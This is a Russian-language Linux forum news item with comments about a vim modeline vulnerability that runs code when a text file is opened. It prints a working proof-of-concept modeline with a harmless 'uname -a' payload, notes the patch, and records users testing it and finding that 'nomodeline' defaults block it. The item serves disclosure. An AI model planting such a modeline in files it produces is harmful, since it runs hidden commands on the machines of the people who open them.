LINUX.ORG.RU

Уязвимость в vim

 ,


1

1

Опубликована уязвимость в текстовом редакторе vim, позволяющая исполнить произвольный код при открытии редактором текстового файла.

Вот текст файла выполняющего безобидный uname -a

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Исправление в виде добавленного вызова check_secure() уже доступно в репозиториях vim и neovim.

>>> Очень хорошее описание механизма уязвимости

★★

Проверено: Shaman007 ()
Последнее исправление: voronaam (всего исправлений: 1)
Ответ на: комментарий от otto

Речь шла о том, что MrClon запускал $vi, что эквивалентно запуску $vim. В новости тоже говорится про vim.

Да у него уже пропатчено.
А vim когда запускается через vi то и работает как vi, а не как vim. /bin/sh тоже указывает на bash, но попробуй юзеру поставить шеллами sh и bash и увидишь разницу. Или в скрипте с башизмами поставь #!/bin/sh. Хотя это уже к делу не относится.

imul ★★★★★
()
Ответ на: комментарий от imul

Да у него уже пропатчено.

Я давненько не обновлялся. С 21 мая как минимум. Да и тогда вроде vim не обновлялся (но это не точно). Подозреваю что дело вот в этом:

~$ readlink /etc/alternatives/vim

/usr/bin/vim.basic

MrClon ★★★★★
()
Ответ на: комментарий от MrClon

Подозреваю что дело вот в этом:
/usr/bin/vim.basic

Может быть. Мне проверить не на чем.

imul ★★★★★
()
Ответ на: комментарий от otto

ХЗ, я вимом пользуюсь в режиме блондинки, настройки почти не трогаю. Смотри выше выхлопы vi(m) --version на пастабинах

MrClon ★★★★★
()
Ответ на: комментарий от otto

Да, так работает. Хотя вхождений modeline в /etc/vim и ~/.vim не было, похоже nomodeline это вкомпиленый дефолт.

Дожили блин, коллективными усилиями чиним неработающую уязвимость (:

MrClon ★★★★★
()
Ответ на: комментарий от otto

Тогда в каком месте смеяться? Небезопасную фичу можно отключить вручную опцией, и в некоторых сборках эта опция — вкомпиленый дефолт. Вроде всё логично

MrClon ★★★★★
()
Ответ на: комментарий от MrClon

Ну ты же сказал, что чиним нерабочую уязвимость путем отключения дефолтных безопасных настроек.

otto ★★★★
()
Ответ на: комментарий от imul

Проверил у себя:

$ vim test.txt 

Linux otto 5.1.6-gentoo #1 SMP Mon Jun 3 19:48:55 MSK 2019 x86_64 Intel(R) Core(TM) i5-4670 CPU @ 3.40GHz GenuineIntel GNU/Linux

Нажмите ENTER или введите команду для продолжения
$ vi test.txt 

Linux otto 5.1.6-gentoo #1 SMP Mon Jun 3 19:48:55 MSK 2019 x86_64 Intel(R) Core(TM) i5-4670 CPU @ 3.40GHz GenuineIntel GNU/Linux

Нажмите ENTER или введите команду для продолжения

Если режимы vi и vim отличаются, то в данном случае это играет никакой роли.

otto ★★★★
()
Ответ на: комментарий от MrClon

аха, я помню, как достижение рассказывали, что в Wine наонкец-то заработали некоторые вендовирусы ;-)

mumpster ★★★★★
()
Ответ на: комментарий от MrClon

хз в общем, у меня tiny стоит, может в этом дело:

#vim.tiny -u .vimrc SW/vim.bug тупо открывает тот шаблон как текст

mumpster ★★★★★
()
Последнее исправление: mumpster (всего исправлений: 3)
Ответ на: комментарий от Aceler

хз, я сильно этим вопросом не интересовался, тем более что не помню, что такое было это «klez». но вот что большая часть вирья тупо обламывалось на вайне - это я помню.

mumpster ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.